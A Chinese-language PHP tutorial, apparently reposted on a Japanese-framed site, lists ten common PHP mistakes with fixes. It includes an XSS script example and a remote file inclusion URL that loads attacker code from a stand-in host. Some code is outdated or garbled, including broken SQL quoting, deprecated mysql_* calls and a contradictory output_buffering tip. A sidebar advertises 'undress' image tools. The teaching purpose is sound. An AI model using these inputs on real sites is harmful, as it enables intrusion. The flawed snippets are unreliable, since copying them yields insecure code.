ホームページ php教程 php手册 php 程序员常犯错误总结

php 程序员常犯错误总结

May 25, 2016 pm 04:40 PM
PHPプログラマー

1.不转意html entities

一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据),输出之前都要转意.

echo $_GET['usename'] ;

这个例子有可能输出:

<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>

这是一个明显的安全隐患,除非你保证你的用户都正确的输入.

如何修复:我们需要将"","and" 等转换成正确的HTML表示(', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的.

正确的方法:echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. 不转意SQL输入

我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法,有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET,$_POST或 $_COOKIE中的得到的.

如何修复:和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数,正确做法:

<?php 
$sql = "UPDATE users SET 
name=&#39;.mysql_real_escape_string($name).&#39; 
WHERE id=&#39;.mysql_real_escape_string ($id).&#39;"; 
mysql_query($sql); 
?>
ログイン後にコピー

3.错误的使用HTTP-header 相关的函数:header(),session_start(),setcookie()

遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。

头部包含了一些非可视的数据,例如cookie,头部总是先到达,正文部分包括可视的html,图片等数据.

如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用,问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样,结果转向停止了,cookie和session都没有正确的设置........。

如何修复:确保在输出之前调用http-header相关的函数,并且令output_buffering = Off

4. Require 或 include 的文件使用不安全的数据

再次强调:不要相信不是你自己显式声明的数据,不要 Include 或 require 从$_GET,$_POST 或 $_COOKIE 中得到的文件.例如:index.php

//including header, config, database connection, etc

include($_GET['filename']);

//including footer

现在任一个黑客现在都可以用:http://www.phprm.com/index.php?filename=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本.

如果allow_url_fopen=On,你更是死定了,试试这个输入:

http://www.phprm.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

现在你的网页中包含了http://www.phprm.com/phphack.php的输出,黑客可以发送垃圾邮件,改变密码,删除文件等等,只要你能想得到.

如何修复:你必须自己控制哪些文件可以包含在的include或require指令中,下面是一个快速但不全面的解决方法:

<?php 
//Include only files that are allowed. 
$allowedFiles = array(&#39;file1.txt&#39;,&#39;file2.txt&#39;,&#39;file3.txt&#39;); 
if(in_array((string)$_GET[&#39;filename&#39;],$allowedFiles)) { 
include($_GET[&#39;filename&#39;]); 
}else{ 
exit(&#39;not allowed&#39;); 
} 
?>
ログイン後にコピー

5. 语法错误

语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出,解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号,还有就是换个好的编辑器,就不要用记事本了.

6.很少使用或不用面向对象

很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力,PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象.

7. 不使用framework

95% 的PHP项目都在做同样的四件事:Create, edit, list 和delete,现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?

8. 不知道PHP中已经有的功能

PHP的核心包含很多功能,很多程序员重复的发明轮子,浪费了大量时间,编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现,PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回,考虑到安全可以使用EscapeShellCmd()

9.使用旧版本的PHP

很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.phprm.com的调查 只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.

10.对引号做两次转意

见过网页中出现'或'"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。

原始文本:

It&#39;s a string
magic quotes on :
It&#39;s a string
又运行一次
addslashes():
It&#39;s a string
HTML输出:It&#39;s a string
ログイン後にコピー


本文地址:

转载随意,但请附上文章地址:-)

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

最初から最後まで: 完璧な PHP プログラマーの履歴書の書き方 最初から最後まで: 完璧な PHP プログラマーの履歴書の書き方 Sep 10, 2023 pm 04:21 PM

完璧な PHP プログラマーの履歴書の書き方 競争の激しい就職市場では、求職者にとって優れた履歴書は非常に重要です。 PHP プログラマーにとって、完璧な履歴書を書くことは特に重要です。履歴書は自分のスキルや経験をアピールする手段であるだけでなく、雇用主の注目を集める鍵でもあるからです。この記事では、完璧なPHPプログラマーの職務経歴書の書き方を最初から最後まで詳しく解説します。ステップ 1: 簡潔で魅力的な履歴書テンプレートを選択する 簡潔で魅力的な履歴書テンプレートを選択することは、履歴書を書く最初のステップです。

就職活動の成功率を向上させる: 優れた PHP プログラマーの職務経歴書を書くためのヒント 就職活動の成功率を向上させる: 優れた PHP プログラマーの職務経歴書を書くためのヒント Sep 10, 2023 pm 06:30 PM

就職活動の成功率を向上させる: 優れた PHP プログラマーの職務経歴書を書くためのヒント 現代社会において、就職活動はすべての卒業生にとって直面する重要な課題となっています。仕事に応募するとき、履歴書は最も重要な部分です。優れた履歴書があれば、面接に勝ち残ることができ、さらには就職できるかどうかも決まります。特に PHP プログラマーのような競争の激しいポジションでは、優れた履歴書をどのように書くかがすべての求職者にとって重要な問題となっています。以下では、優れた PHP プログラマーの職務経歴書を書くためのヒントをいくつか紹介します。

雇用主に好印象を与えるPHPプログラマーの履歴書の書き方 雇用主に好印象を与えるPHPプログラマーの履歴書の書き方 Sep 08, 2023 am 08:19 AM

雇用主に好印象を与える PHP プログラマーの履歴書の書き方 競争の激しい就職市場では、優れた履歴書を書くことが特に重要です。 PHP プログラマーとしての履歴書には、素晴らしい職歴とスキルに加えて、プログラミングへの愛情と確かな専門知識も反映されている必要があります。この記事では、雇用主の目に映える PHP プログラマーの履歴書を書くのに役立ついくつかのヒントとコード例を紹介します。簡潔かつ明確な個人情報 履歴書の個人情報セクションには、名前、連絡先情報、個人のウェブサイトを含める必要があります

PHP プログラマーの履歴書の目を引くヒント: 他の候補者より目立つ方法 PHP プログラマーの履歴書の目を引くヒント: 他の候補者より目立つ方法 Sep 12, 2023 am 10:16 AM

PHP プログラマーのための目を引く履歴書のヒント: 他の候補者より目立つ方法 インターネット業界の急速な発展に伴い、PHP プログラマーも就職市場で人気の職種の 1 つになりました。しかし、キャリア開発の方向として PHP を選択する人が増えており、競争が激化しています。このような状況下で、どのようにして履歴書を目立たせ、雇用主の目に留まるようにするかは、すべての PHP プログラマーが考える必要がある問題です。まず、優れた履歴書では、自分のスキルを明確かつ簡潔に示す必要があります。

PHP プログラマーの高収入反撃への道 PHP プログラマーの高収入反撃への道 Sep 09, 2023 am 09:22 AM

PHP プログラマーのための高収入逆襲への道 インターネットの急速な発展に伴い、コンピューター サイエンスの分野での需要は増加し続けています。この時代、プログラミングスキルを必要とする人材が最も求められています。一般的に使用されるプログラミング言語として、PHP はプログラマーに高収入の反撃の道を提供します。この記事では、PHP プログラマーが PHP と関連テクノロジを学習することで高収入の反撃にどのように移行できるかを紹介し、いくつかのコード例を添付します。 1. PHP の基礎知識を習得する 優秀な PHP プログラマーになるためには、まず PHP の基礎知識を習得する必要があります。

書き方のヒントを探る: 魅力的な PHP プログラマーの職務経歴書の書き方 書き方のヒントを探る: 魅力的な PHP プログラマーの職務経歴書の書き方 Sep 09, 2023 pm 04:09 PM

書き方のヒントを探る: 説得力のある PHP プログラマーの履歴書の書き方 今日の競争の激しい雇用市場では、PHP プログラマーにとって説得力のある履歴書が特に重要です。優れた履歴書は雇用主の目に留まるだけでなく、あなたのスキルや経験をアピールすることもできます。この記事では、優れた PHP プログラマーの履歴書を作成するのに役立ついくつかの書き方のヒントを、専門的な能力を強調するコード例とともに説明します。簡潔かつ明確な形式 履歴書の形式は、雇用主があなたの関連情報をすぐに確認できるように、簡潔かつ明確である必要があります。

人事担当者とつながるための重要なステップ: PHP プログラマーの履歴書に自分の価値を反映する方法 人事担当者とつながるための重要なステップ: PHP プログラマーの履歴書に自分の価値を反映する方法 Sep 08, 2023 am 11:30 AM

HR とつながるための重要なステップ: PHP プログラマーの履歴書に自分の価値を反映する方法 HR は、採用プロセス中の忙しいながらも短時間の間に、履歴書を通じて候補者を評価し、選考します。大勢の求職者の中で目立って人事部の注目を集めるには、履歴書で自分の価値と能力を証明する必要があります。 PHP プログラマーの場合、履歴書で技術的能力とプロジェクトの経験を強調することが重要です。ここでは、いくつかの重要な要素と、コード例を通じて価値を実証する方法を示します。履歴書のスキル欄にある技術スキルのリスト

プロフィールを改善する: あなたを際立たせる PHP プログラマーの履歴書の書き方 プロフィールを改善する: あなたを際立たせる PHP プログラマーの履歴書の書き方 Sep 10, 2023 pm 05:12 PM

今日の競争の激しい就職市場において、大勢の求職者の中でいかに目立つかが非常に重要な課題となっています。特に PHP プログラマーの場合、優れた履歴書は面接に受かるかどうかに直接影響します。この記事では、あなたを際立たせるPHPプログラマー履歴書の書き方を詳しく紹介します。まず、優れた職務経歴書には、個人情報、職務上の意図、学歴、職歴、スキルと専門知識、個人のプロジェクトの経験といった重要な部分が含まれている必要があります。部分ごとに進めていきます

See all articles